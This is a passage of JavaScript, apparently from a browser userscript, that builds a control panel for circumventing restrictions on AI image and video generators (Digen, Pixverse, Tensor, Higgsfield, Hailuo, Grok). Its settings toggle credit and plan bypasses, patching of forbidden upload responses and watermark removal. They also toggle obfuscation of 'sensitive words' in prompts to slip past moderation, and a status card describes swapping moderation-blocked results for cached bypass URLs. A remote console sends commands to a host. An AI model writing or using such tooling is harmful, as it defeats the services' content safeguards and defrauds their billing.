          <div style="font-family:monospace;">${escapeHtml(String(sharedNetworkProgress.current))}/${escapeHtml(String(sharedNetworkProgress.total))}</div>
        </div>
        <div style="height:10px; border-radius:999px; background: rgba(148,163,184,0.18); overflow:hidden;">
          <div style="height:100%; width:${pct}%; background:${colors.primary}; border-radius:999px;"></div>
        </div>
      `;
      wrap.appendChild(progress);

      // Remote control console
      if (settings.sharedNetworkRemoteControlEnabled) {
        const consoleWrap = document.createElement('div');
        consoleWrap.style.cssText = `
          border: 1px solid ${colors.border};
          border-radius: 12px;
          padding: 12px;
          background: ${colors.bgSecondary};
          display: grid;
          gap: 8px;
        `;
        const header = document.createElement('div');
        header.style.cssText = `display:flex; align-items:center; justify-content:space-between; gap:10px;`;
        header.innerHTML = `<div style="font-size:12px; font-weight:800; color:${colors.text};"><i class="fas fa-terminal" style="margin-right:8px; color:${colors.primary};"></i> Remote Console</div>`;
        const hint = document.createElement('div');
        hint.style.cssText = `font-size:11px; color:${colors.textSecondary}; line-height:1.35;`;
        hint.textContent = 'Sends a text command to your host (use only on trusted servers).';

        const row = document.createElement('div');
        row.style.cssText = 'display:flex; gap:8px; align-items:center;';
        const input = document.createElement('input');
        input.type = 'text';
        input.placeholder = 'Enter command (e.g., I-TB: ... )';
        input.style.cssText = `flex:1; padding:10px 10px; border-radius:10px; border:1px solid ${colors.border}; background:${colors.bg}; color:${colors.text}; font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; font-size:12px;`;
        const sendBtn = document.createElement('button');
        sendBtn.className = 'bypass-btn bypass-btn-primary';
        sendBtn.style.cssText = 'width:auto; padding:10px 12px; font-size:11px;';
        sendBtn.innerHTML = '<i class="fas fa-paper-plane"></i> Send';
        const send = async () => {
          const cmd = input.value;
          input.value = '';
          const res = await sharedNetSendCommand(cmd);
          if (!res?.ok) {
            showToast(res?.error || 'Command failed', 'error');
          } else {
            showToast('Command sent', 'success');
          }
          sharedNetScheduleTabRefresh();
        };
        sendBtn.onclick = send;
        input.addEventListener('keydown', (e) => {
          if (e.key === 'Enter') send();
        });
        row.appendChild(input);
        row.appendChild(sendBtn);

        consoleWrap.appendChild(header);
        consoleWrap.appendChild(hint);
        consoleWrap.appendChild(row);
        wrap.appendChild(consoleWrap);
      }

      // Logs
      const logsWrap = document.createElement('div');
      logsWrap.style.cssText = `
        border: 1px solid ${colors.border};
        border-radius: 12px;
        overflow: hidden;
        background: ${colors.bgSecondary};
        display:flex;
        flex-direction:column;
        min-height: 220px;
      `;
      const logsHeader = document.createElement('div');
      logsHeader.style.cssText = `display:flex; align-items:center; justify-content:space-between; gap:10px; padding:10px 12px; border-bottom:1px solid ${colors.border}; background:${colors.bgSecondary};`;
      logsHeader.innerHTML = `<div style="font-size:12px; font-weight:800; color:${colors.text};"><i class="fas fa-list" style="margin-right:8px; color:${colors.primary};"></i> Shared Network Logs</div><div data-bypass-sharednet-logs-count="true" style="font-size:11px; color:${colors.textSecondary};">${sharedNetworkLogs.length} entries</div>`;
      const logsActions = document.createElement('div');
      logsActions.style.cssText = 'display:flex; gap:8px;';
      const clearBtn = document.createElement('button');
      clearBtn.className = 'bypass-btn bypass-btn-secondary';
      clearBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
      clearBtn.innerHTML = '<i class="fas fa-broom"></i> Clear';
      clearBtn.onclick = () => {
        sharedNetworkLogs.length = 0;
        showToast('Shared Network logs cleared', 'success');
        sharedNetScheduleTabRefresh();
      };
      logsActions.appendChild(clearBtn);
      logsHeader.appendChild(logsActions);

      const logsBody = document.createElement('div');
      logsBody.style.cssText = `flex:1; overflow:auto; padding:10px 12px; background:${colors.bg};`;
      logsBody.setAttribute('data-bypass-sharednet-logs-body', 'true');

      const levelColor = (lvl) => {
        const v = String(lvl || '').toLowerCase();
        if (v === 'error') return '#ef4444';
        if (v === 'warning') return '#f59e0b';
        if (v === 'success') return '#10b981';
        return colors.textSecondary;
      };

      if (!sharedNetworkLogs.length) {
        logsBody.innerHTML = `<div style="color:${colors.textSecondary}; font-size:12px; padding:14px; text-align:center;">No logs yet.</div>`;
      } else {
        sharedNetworkLogs.slice(0, 200).forEach(entry => {
          const row = document.createElement('div');
          row.style.cssText = `
            display:grid;
            grid-template-columns: 78px 1fr;
            gap:10px;
            padding:6px 0;
            border-bottom: 1px dashed rgba(148,163,184,0.18);
            font-size: 11px;
            color: ${colors.textSecondary};
          `;
          const time = document.createElement('div');
          time.style.cssText = `font-family:monospace; color:${levelColor(entry.level)};`;
          time.textContent = (entry.ts || '').slice(11, 19);
          const msg = document.createElement('div');
          msg.style.cssText = 'min-width:0;';
          const details = entry.details ? `\n${JSON.stringify(entry.details).slice(0, 2000)}` : '';
          msg.textContent = `${entry.message}${details}`;
          row.appendChild(time);
          row.appendChild(msg);
          logsBody.appendChild(row);
        });
      }

      logsWrap.appendChild(logsHeader);
      logsWrap.appendChild(logsBody);
      wrap.appendChild(logsWrap);

      content.appendChild(wrap);
    } else if (currentTab === 'digenBackground') {
      const wrap = document.createElement('div');
      wrap.style.cssText = 'display:flex; flex-direction:column; gap:10px; height:100%;';

      const top = document.createElement('div');
      top.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:8px; padding:10px 12px; border:1px solid rgba(14,116,144,0.45); border-radius:12px; background:linear-gradient(135deg, rgba(8,145,178,0.20), rgba(2,132,199,0.12));';
      top.innerHTML = '<div style="font-size:12px;color:#e0f2fe;font-weight:700;"><i class="fas fa-microchip" style="margin-right:8px;color:#67e8f9;"></i>Digen Background Process Logs</div>';

      const btns = document.createElement('div');
      btns.style.cssText = 'display:flex; gap:8px;';
      const refreshBtn = document.createElement('button');
      refreshBtn.className = 'bypass-btn bypass-btn-secondary';
      refreshBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
      refreshBtn.innerHTML = '<i class="fas fa-arrows-rotate"></i> Refresh';
      refreshBtn.onclick = () => updateUI();
      const exportBtn = document.createElement('button');
      exportBtn.className = 'bypass-btn bypass-btn-primary';
      exportBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
      exportBtn.innerHTML = '<i class="fas fa-file-export"></i> Export JSON';
      exportBtn.onclick = () => {
        try {
          exportDigenLogsToJson();
        } catch (err) {
          addDigenUiLog('error', 'Failed to export Digen logs', { error: String(err?.message || err) });
          showToast('Failed to export Digen logs', 'error');
        }
      };
      const clearBtn = document.createElement('button');
      clearBtn.className = 'bypass-btn bypass-btn-danger';
      clearBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
      clearBtn.innerHTML = '<i class="fas fa-trash"></i> Clear';
      clearBtn.onclick = () => {
        clearDigenUiLogs();
        refreshLiveLogPanelOrSchedule('digen');
      };
      btns.appendChild(refreshBtn);
      btns.appendChild(exportBtn);
      btns.appendChild(clearBtn);
      top.appendChild(btns);
      wrap.appendChild(top);

      const logBox = document.createElement('div');
      logBox.style.cssText = 'flex:1; min-height:280px; max-height:100%; overflow:auto; border:1px solid rgba(56,189,248,0.35); border-radius:12px; background:#03111a; padding:10px; font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;';
      logBox.setAttribute('data-bypass-live-log-box', 'digen');
      renderLiveLogPanelBody(logBox, 'digen');

      wrap.appendChild(logBox);
      content.appendChild(wrap);
    } else if (currentTab === 'tensorInterceptBackground') {
      const wrap = document.createElement('div');
      wrap.style.cssText = 'display:flex; flex-direction:column; gap:10px; height:100%;';

      const top = document.createElement('div');
      top.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:8px; padding:10px 12px; border:1px solid rgba(245,158,11,0.35); border-radius:12px; background:linear-gradient(135deg, rgba(245,158,11,0.18), rgba(59,130,246,0.10));';
      top.innerHTML = `<div style="font-size:12px;color:#fef3c7;font-weight:700;"><i class="fas fa-bolt" style="margin-right:8px;color:#fbbf24;"></i>Tensor Intercept Logs <span style="font-weight:500;color:#cbd5e1;">(${settings.xhrInterceptEnabled ? 'mode ON' : 'mode OFF'} • max ${Math.max(50, Number(settings.tensorInterceptMaxLogs) || 600)})</span> <span data-bypass-live-log-count="tensorIntercept" style="font-weight:500;color:#94a3b8;">0 entries</span></div>`;

      const btns = document.createElement('div');
      btns.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap;';
      const refreshBtn = document.createElement('button');
      refreshBtn.className = 'bypass-btn bypass-btn-secondary';
      refreshBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
      refreshBtn.innerHTML = '<i class="fas fa-arrows-rotate"></i> Refresh';
      refreshBtn.onclick = () => updateUI();
      const copyBtn = document.createElement('button');
      copyBtn.className = 'bypass-btn bypass-btn-primary';
      copyBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
      copyBtn.innerHTML = '<i class="fas fa-copy"></i> Copy Logs';
      copyBtn.onclick = async () => {
        try {
          await copyTensorInterceptLogsToClipboard();
        } catch {
          showToast('Failed to copy Tensor intercept logs', 'error');
        }
      };
      const exportBtn = document.createElement('button');
      exportBtn.className = 'bypass-btn bypass-btn-primary';
      exportBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
      exportBtn.innerHTML = '<i class="fas fa-file-export"></i> Export JSON';
      exportBtn.onclick = () => {
        try {
          exportTensorInterceptLogsToJson();
        } catch {
          showToast('Failed to export Tensor intercept logs', 'error');
        }
      };
      const clearBtn = document.createElement('button');
      clearBtn.className = 'bypass-btn bypass-btn-danger';
      clearBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
      clearBtn.innerHTML = '<i class="fas fa-trash"></i> Clear';
      clearBtn.onclick = () => {
        clearTensorInterceptLogs();
        refreshLiveLogPanelOrSchedule('tensorIntercept');
      };
      btns.appendChild(refreshBtn);
      btns.appendChild(copyBtn);
      btns.appendChild(exportBtn);
      btns.appendChild(clearBtn);
      top.appendChild(btns);
      wrap.appendChild(top);

      const statusCard = document.createElement('div');
      statusCard.style.cssText = 'display:grid; gap:6px; padding:10px 12px; border:1px solid rgba(148,163,184,0.22); border-radius:12px; background:rgba(15,23,42,0.5); font-size:12px; color:#cbd5e1;';
      statusCard.innerHTML = `
        <div><strong style="color:#f8fafc;">Mode:</strong> <span style="color:${settings.xhrInterceptEnabled ? '#22c55e' : '#f87171'}; font-weight:700;">${settings.xhrInterceptEnabled ? 'ENABLED' : 'DISABLED'}</span></div>
        <div><strong style="color:#f8fafc;">Request rewrite:</strong> Force <code>size=10</code> on <code>/works/v1/works/tasks/query</code> (${settings.xhrInterceptEnabled ? 'active' : 'idle'})</div>
        <div><strong style="color:#f8fafc;">Response patch:</strong> Replace blocked invalid FINISH items with cached bypass URLs, clear invalid flag, and prefix <code>FREEInterent-</code>.</div>
      `;
      wrap.appendChild(statusCard);

      const logBox = document.createElement('div');
      logBox.style.cssText = 'flex:1; min-height:280px; max-height:100%; overflow:auto; border:1px solid rgba(245,158,11,0.30); border-radius:12px; background:#140d05; padding:10px; font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;';
      logBox.setAttribute('data-bypass-live-log-box', 'tensorIntercept');
      renderLiveLogPanelBody(logBox, 'tensorIntercept');

      wrap.appendChild(logBox);
      content.appendChild(wrap);
    } else if (currentTab === 'pixverseBackground') {
      const wrap = document.createElement('div');
      wrap.style.cssText = 'display:flex; flex-direction:column; gap:10px; height:100%;';

      const top = document.createElement('div');
      top.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:8px; padding:10px 12px; border:1px solid rgba(99,102,241,0.35); border-radius:12px; background:linear-gradient(135deg, rgba(99,102,241,0.18), rgba(14,165,233,0.10));';
      top.innerHTML = '<div style="font-size:12px;color:#e2e8f0;font-weight:700;"><i class="fas fa-wave-square" style="margin-right:8px;color:#60a5fa;"></i>Background Bypass Runtime Logs <span data-bypass-live-log-count="pixverse" style="font-weight:500;color:#94a3b8;">0 entries</span></div>';

      const btns = document.createElement('div');
      btns.style.cssText = 'display:flex; gap:8px;';
      const refreshBtn = document.createElement('button');
      refreshBtn.className = 'bypass-btn bypass-btn-secondary';
      refreshBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
      refreshBtn.innerHTML = '<i class="fas fa-arrows-rotate"></i> Refresh';
      refreshBtn.onclick = () => updateUI();
      const copyBtn = document.createElement('button');
      copyBtn.className = 'bypass-btn bypass-btn-primary';
      copyBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
      copyBtn.innerHTML = '<i class="fas fa-copy"></i> Copy Logs';
      copyBtn.onclick = async () => {
        try {
          await copyPixverseLogsToClipboard();
        } catch {
          showToast('Failed to copy Pixverse logs', 'error');
        }
      };
      const exportBtn = document.createElement('button');
      exportBtn.className = 'bypass-btn bypass-btn-primary';
      exportBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
      exportBtn.innerHTML = '<i class="fas fa-file-export"></i> Export JSON';
      exportBtn.onclick = () => {
        try {
          exportPixverseLogsToJson();
        } catch {
          showToast('Failed to export Pixverse logs', 'error');
        }
      };
      const clearBtn = document.createElement('button');
      clearBtn.className = 'bypass-btn bypass-btn-danger';
      clearBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
      clearBtn.innerHTML = '<i class="fas fa-trash"></i> Clear';
      clearBtn.onclick = () => {
        clearPixverseUiLogs();
        refreshLiveLogPanelOrSchedule('pixverse');
      };
      btns.appendChild(refreshBtn);
      btns.appendChild(copyBtn);
      btns.appendChild(exportBtn);
      btns.appendChild(clearBtn);
      top.appendChild(btns);
      wrap.appendChild(top);

      const logBox = document.createElement('div');
      logBox.style.cssText = 'flex:1; min-height:280px; max-height:100%; overflow:auto; border:1px solid rgba(99,102,241,0.3); border-radius:12px; background:#050816; padding:10px; font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;';
      logBox.setAttribute('data-bypass-live-log-box', 'pixverse');
      renderLiveLogPanelBody(logBox, 'pixverse');

      wrap.appendChild(logBox);
      content.appendChild(wrap);
    } else if (currentTab === 'higgsfieldBackground') {
      const wrap = document.createElement('div');
      wrap.style.cssText = 'display:flex; flex-direction:column; gap:10px; height:100%;';

      const [jobs, souls] = await Promise.all([getHiggsfieldJobsForUi(), getHiggsfieldSoulsForUi()]);

      const top = document.createElement('div');
      top.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:8px; padding:10px 12px; border:1px solid rgba(96,165,250,0.35); border-radius:12px; background:linear-gradient(135deg, rgba(96,165,250,0.18), rgba(245,158,11,0.08));';
      top.innerHTML = `<div style="font-size:12px;color:#e2e8f0;font-weight:700;"><i class="fas fa-flask-vial" style="margin-right:8px;color:#60a5fa;"></i>Higgsfield Background Logs <span style="font-weight:500;color:#94a3b8;">(${jobs.length} jobs • ${souls.length} souls)</span> <span data-bypass-live-log-count="higgsfield" style="font-weight:500;color:#94a3b8;">0 entries</span></div>`;

      const btns = document.createElement('div');
      btns.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap;';
      const refreshBtn = document.createElement('button');
      refreshBtn.className = 'bypass-btn bypass-btn-secondary';
      refreshBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
      refreshBtn.innerHTML = '<i class="fas fa-arrows-rotate"></i> Refresh';
      refreshBtn.onclick = () => updateUI();
      const exportBtn = document.createElement('button');
      exportBtn.className = 'bypass-btn bypass-btn-primary';
      exportBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
      exportBtn.innerHTML = '<i class="fas fa-file-export"></i> Export JSON';
      exportBtn.onclick = () => {
        try {
          exportHiggsfieldLogsToJson();
        } catch {
          showToast('Failed to export Higgsfield logs', 'error');
        }
      };
      const clearBtn = document.createElement('button');
      clearBtn.className = 'bypass-btn bypass-btn-danger';
      clearBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
      clearBtn.innerHTML = '<i class="fas fa-trash"></i> Clear';
      clearBtn.onclick = () => {
        clearHiggsfieldUiLogs();
        refreshLiveLogPanelOrSchedule('higgsfield');
      };
      btns.appendChild(refreshBtn);
      btns.appendChild(exportBtn);
      btns.appendChild(clearBtn);
      top.appendChild(btns);
      wrap.appendChild(top);

      const logBox = document.createElement('div');
      logBox.style.cssText = 'flex:1; min-height:280px; max-height:100%; overflow:auto; border:1px solid rgba(96,165,250,0.25); border-radius:12px; background:#07111c; padding:10px; font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;';
      logBox.setAttribute('data-bypass-live-log-box', 'higgsfield');
      renderLiveLogPanelBody(logBox, 'higgsfield');

      wrap.appendChild(logBox);
      content.appendChild(wrap);
    } else if (currentTab === 'hailuoBackground') {
      const wrap = document.createElement('div');
      wrap.style.cssText = 'display:flex; flex-direction:column; gap:10px; height:100%;';

      const top = document.createElement('div');
      top.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:8px; padding:10px 12px; border:1px solid rgba(34,197,94,0.35); border-radius:12px; background:linear-gradient(135deg, rgba(34,197,94,0.16), rgba(14,165,233,0.08));';
      top.innerHTML = '<div style="font-size:12px;color:#dcfce7;font-weight:700;"><i class="fas fa-bolt" style="margin-right:8px;color:#22c55e;"></i>Hailuo Runtime Logs</div>';

      const btns = document.createElement('div');
      btns.style.cssText = 'display:flex; gap:8px;';
      const refreshBtn = document.createElement('button');
      refreshBtn.className = 'bypass-btn bypass-btn-secondary';
      refreshBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
      refreshBtn.innerHTML = '<i class="fas fa-arrows-rotate"></i> Refresh';
      refreshBtn.onclick = () => updateUI();

      const exportBtn = document.createElement('button');
      exportBtn.className = 'bypass-btn bypass-btn-primary';
      exportBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
      exportBtn.innerHTML = '<i class="fas fa-file-export"></i> Export JSON';
      exportBtn.onclick = () => {
        try {
          exportHailuoLogsToJson();
        } catch {
          showToast('Failed to export Hailuo logs', 'error');
        }
      };

      const clearBtn = document.createElement('button');
      clearBtn.className = 'bypass-btn bypass-btn-danger';
      clearBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
      clearBtn.innerHTML = '<i class="fas fa-trash"></i> Clear';
      clearBtn.onclick = () => {
        clearHailuoUiLogs();
        refreshLiveLogPanelOrSchedule('hailuo');
      };

      btns.appendChild(refreshBtn);
      btns.appendChild(exportBtn);
      btns.appendChild(clearBtn);
      top.appendChild(btns);
      wrap.appendChild(top);

      const logBox = document.createElement('div');
      logBox.style.cssText = 'flex:1; min-height:280px; max-height:100%; overflow:auto; border:1px solid rgba(34,197,94,0.25); border-radius:12px; background:#04120a; padding:10px; font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;';
      logBox.setAttribute('data-bypass-live-log-box', 'hailuo');
      renderLiveLogPanelBody(logBox, 'hailuo');

      wrap.appendChild(logBox);
      content.appendChild(wrap);
    } else if (currentTab === 'grokBackground') {
      const wrap = document.createElement('div');
      wrap.style.cssText = 'display:flex; flex-direction:column; gap:10px; height:100%;';

      const top = document.createElement('div');
      top.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:8px; padding:10px 12px; border:1px solid rgba(99,102,241,0.35); border-radius:12px; background:linear-gradient(135deg, rgba(99,102,241,0.18), rgba(14,165,233,0.10));';
      top.innerHTML = '<div style="font-size:12px;color:#e2e8f0;font-weight:700;"><i class="fas fa-wave-square" style="margin-right:8px;color:#60a5fa;"></i>Grok Runtime Logs <span data-bypass-live-log-count="grok" style="font-weight:500;color:#94a3b8;">0 entries</span></div>';

      const btns = document.createElement('div');
      btns.style.cssText = 'display:flex; gap:8px;';
      const refreshBtn = document.createElement('button');
      refreshBtn.className = 'bypass-btn bypass-btn-secondary';
      refreshBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
      refreshBtn.innerHTML = '<i class="fas fa-arrows-rotate"></i> Refresh';
      refreshBtn.onclick = () => updateUI();

      const exportBtn = document.createElement('button');
      exportBtn.className = 'bypass-btn bypass-btn-primary';
      exportBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
      exportBtn.innerHTML = '<i class="fas fa-file-export"></i> Export JSON';
      exportBtn.onclick = () => {
        try {
          exportGrokLogsToJson();
        } catch {
          showToast('Failed to export Grok logs', 'error');
        }
      };

      const clearBtn = document.createElement('button');
      clearBtn.className = 'bypass-btn bypass-btn-danger';
      clearBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
      clearBtn.innerHTML = '<i class="fas fa-trash"></i> Clear';
      clearBtn.onclick = () => {
        clearGrokUiLogs();
        refreshLiveLogPanelOrSchedule('grok');
      };

      btns.appendChild(refreshBtn);
      btns.appendChild(exportBtn);
      btns.appendChild(clearBtn);
      top.appendChild(btns);
      wrap.appendChild(top);

      const logBox = document.createElement('div');
      logBox.style.cssText = 'flex:1; min-height:280px; max-height:100%; overflow:auto; border:1px solid rgba(99,102,241,0.3); border-radius:12px; background:#050816; padding:10px; font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;';
      logBox.setAttribute('data-bypass-live-log-box', 'grok');
      renderLiveLogPanelBody(logBox, 'grok');

      wrap.appendChild(logBox);
      content.appendChild(wrap);
    } else if (currentTab === 'settings') {
      // Settings form (checkbox-only)
      const colors = getThemeColors();
      const form = document.createElement('div');
      form.style.display = 'flex';
      form.style.flexDirection = 'column';
      form.style.gap = '12px';

      const searchWrap = document.createElement('div');
      searchWrap.dataset.settingsSearchControls = 'true';
      searchWrap.style.cssText = `
        display:flex;
        flex-direction:column;
        gap:8px;
        padding:12px;
        border:1px solid ${colors.border};
        border-radius:12px;
        background:${colors.bgSecondary};
      `;
      const searchLabel = document.createElement('div');
      searchLabel.style.cssText = `font-size:12px; font-weight:700; color:${colors.text}; letter-spacing:0.3px;`;
      searchLabel.innerHTML = '<i class="fas fa-magnifying-glass"></i> Search settings';
      const searchInput = document.createElement('input');
      searchInput.type = 'text';
      searchInput.className = 'bypass-input';
      searchInput.placeholder = 'Search labels, options, notes, help text...';
      searchInput.value = settingsSearchQuery;
      searchInput.style.fontFamily = 'inherit';
      const searchMeta = document.createElement('div');
      searchMeta.style.cssText = `font-size:11px; color:${colors.textSecondary}; line-height:1.45;`;
      searchMeta.textContent = 'Matches setting names, descriptions, warning notes, and helper text.';
      searchWrap.appendChild(searchLabel);
      searchWrap.appendChild(searchInput);
      searchWrap.appendChild(searchMeta);
      form.appendChild(searchWrap);

      const searchEmptyState = document.createElement('div');
      searchEmptyState.style.cssText = `display:none; padding:10px 12px; border:1px dashed ${colors.border}; border-radius:10px; font-size:12px; color:${colors.textSecondary}; background:${colors.bgSecondary};`;

      const sharedNotifySection = createUnifiedNotificationSettingsSection(colors);
      form.appendChild(sharedNotifySection.section);

      if (IS_DIGEN_DOMAIN) {
        const infoNote = document.createElement('div');
        infoNote.style.cssText = `
          background: rgba(8, 145, 178, 0.12);
          border: 1px solid rgba(34, 211, 238, 0.35);
          border-radius: 10px;
          padding: 12px;
          font-size: 12px;
          line-height: 1.5;
          color: #cffafe;
        `;
        infoNote.innerHTML = '<strong style="color:#22d3ee; display:block; margin-bottom:6px;"><i class="fas fa-sliders"></i> Digen Settings</strong>Configure Digen bypass, capture behavior, and background process logs.';
        form.appendChild(infoNote);

        const digenSection = createCollapsibleSection('Digen Controls', 'fa-robot', true);
        const mkToggle = (id, labelText, tooltipText) => {
          const { row, input } = createSettingsToggleRow({
            labelText,
            tooltip: tooltipText,
            checked: !!settings[id],
            fontSize: '13px',
            textColor: colors.text
          });
          input.onchange = () => {
            settings[id] = input.checked;
            saveSettings();
          };
          return row;
        };

        digenSection.content.appendChild(mkToggle('digenEnableProBypass', 'Enable pro/credit bypass', 'Forces pro-like response flags on Digen API payloads.'));
        digenSection.content.appendChild(mkToggle('digenCaptureItems', 'Capture Digen items/jobs', 'Store jobs from Digen API into IndexedDB for Items tab.'));
        digenSection.content.appendChild(mkToggle('digenAutoRefreshItems', 'Auto-refresh Items/Logs tabs', 'Refresh floating panel automatically when new Digen data arrives.'));
        digenSection.content.appendChild(mkToggle('digenEnableUiLogs', 'Enable background process logs', 'Show Digen runtime logs in Background Process tab.'));

        const maxLogsRow = document.createElement('div');
        maxLogsRow.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:10px; margin-top:10px;';
        const maxLogsLabel = document.createElement('div');
        maxLogsLabel.style.cssText = 'font-size:12px; color:' + colors.textSecondary + ';';
        maxLogsLabel.textContent = 'Max Digen log entries';
        const maxLogsInput = document.createElement('input');
        maxLogsInput.type = 'number';
        maxLogsInput.min = '50';
        maxLogsInput.max = '3000';
        maxLogsInput.step = '50';
        maxLogsInput.value = String(Math.max(50, Number(settings.digenMaxLogs) || 500));
        maxLogsInput.style.cssText = `width: 110px; padding: 8px; border-radius: 8px; border: 1px solid ${colors.border}; background: ${colors.bgSecondary}; color: ${colors.text};`;
        maxLogsInput.onchange = () => {
          settings.digenMaxLogs = Math.max(50, Math.min(3000, Number(maxLogsInput.value) || 500));
          saveSettings();
        };
        maxLogsRow.appendChild(maxLogsLabel);
        maxLogsRow.appendChild(maxLogsInput);
        digenSection.content.appendChild(maxLogsRow);

        const actionsRow = document.createElement('div');
        actionsRow.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap; margin-top:10px;';
        const clearLogsBtn = document.createElement('button');
        clearLogsBtn.className = 'bypass-btn bypass-btn-secondary';
        clearLogsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
        clearLogsBtn.innerHTML = '<i class="fas fa-broom"></i> Clear Digen Logs';
        clearLogsBtn.onclick = () => {
          clearDigenUiLogs();
          showToast('Digen logs cleared', 'success');
        };
        const exportLogsBtn = document.createElement('button');
        exportLogsBtn.className = 'bypass-btn bypass-btn-primary';
        exportLogsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
        exportLogsBtn.innerHTML = '<i class="fas fa-file-export"></i> Export Logs JSON';
        exportLogsBtn.onclick = () => {
          try {
            exportDigenLogsToJson();
          } catch (err) {
            addDigenUiLog('error', 'Failed to export Digen logs from settings', { error: String(err?.message || err) });
            showToast('Failed to export Digen logs', 'error');
          }
        };
        const exportItemsBtn = document.createElement('button');
        exportItemsBtn.className = 'bypass-btn bypass-btn-primary';
        exportItemsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
        exportItemsBtn.innerHTML = '<i class="fas fa-database"></i> Export Items JSON';
        exportItemsBtn.onclick = async () => {
          try {
            await exportDigenJobsToJson();
          } catch (err) {
            addDigenUiLog('error', 'Failed to export Digen items from settings', { error: String(err?.message || err) });
            showToast('Failed to export Digen items', 'error');
          }
        };
        const clearItemsBtn = document.createElement('button');
        clearItemsBtn.className = 'bypass-btn bypass-btn-danger';
        clearItemsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
        clearItemsBtn.innerHTML = '<i class="fas fa-trash"></i> Clear Digen Items';
        clearItemsBtn.onclick = () => {
          showConfirmDialog('Clear Digen jobs from IndexedDB?', async () => {
            await digenJobs.clear();
            showToast('Digen jobs cleared', 'success');
            updateUI();
          });
        };
        actionsRow.appendChild(clearLogsBtn);
        actionsRow.appendChild(exportLogsBtn);
        actionsRow.appendChild(exportItemsBtn);
        actionsRow.appendChild(clearItemsBtn);
        digenSection.content.appendChild(actionsRow);

        form.appendChild(digenSection.section);
      } else if (IS_PIXVERSE_DOMAIN) {
        const infoNote = document.createElement('div');
        infoNote.style.cssText = `
          background: rgba(14, 165, 233, 0.12);
          border: 1px solid rgba(56, 189, 248, 0.35);
          border-radius: 10px;
          padding: 12px;
          font-size: 12px;
          line-height: 1.5;
          color: #dbeafe;
        `;
        infoNote.innerHTML = '<strong style="color:#38bdf8; display:block; margin-bottom:6px;"><i class="fas fa-sliders"></i> Pixverse Settings</strong>Configure Pixverse bypass behavior, realtime logs, and prompt-sensitive words list.';
        form.appendChild(infoNote);

        const pixverseSection = createCollapsibleSection('Pixverse Controls', 'fa-wand-magic-sparkles', true);

        const makeToggleRow = (id, labelText, tooltipText) => {
          const { row, input } = createSettingsToggleRow({
            labelText,
            tooltip: tooltipText,
            checked: !!settings[id],
            fontSize: '13px',
            textColor: colors.text
          });
          input.onchange = () => {
            settings[id] = input.checked;
            saveSettings();
          };
          return row;
        };

        pixverseSection.content.appendChild(makeToggleRow('pixverseEnablePromptObfuscation', 'Enable prompt obfuscation', 'Adds lightweight obfuscation for configured sensitive words.'));
        pixverseSection.content.appendChild(makeToggleRow('pixverseEnableCreditsBypass', 'Enable credits unlock bypass', 'Attempts to bypass credits/plan limits in Pixverse responses.'));
        pixverseSection.content.appendChild(makeToggleRow('pixverseEnableUploadBypass', 'Enable upload bypass', 'Patches upload-related blocked/forbidden API responses.'));
        pixverseSection.content.appendChild(makeToggleRow('pixverseEnableWatermarkButton', 'Enable watermark-free UI button', 'Adds/overrides the Remove Watermark button in Pixverse editor flows.'));
        pixverseSection.content.appendChild(makeToggleRow('pixverseEnableUiLogs', 'Enable realtime UI logs', 'Show runtime logs in the Background Bypass tab.'));
        pixverseSection.content.appendChild(makeToggleRow('pixverseCaptureMediaLinks', 'Capture bypassed media links', 'Store discovered image/video links in the Items tab cache.'));

        const maxLogsRow = document.createElement('div');
        maxLogsRow.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:10px; margin-top:10px;';
        const maxLogsLabel = document.createElement('div');
        maxLogsLabel.style.cssText = 'font-size:12px; color:' + colors.textSecondary + ';';
        maxLogsLabel.textContent = 'Max Pixverse log entries';
        const maxLogsInput = document.createElement('input');
        maxLogsInput.type = 'number';
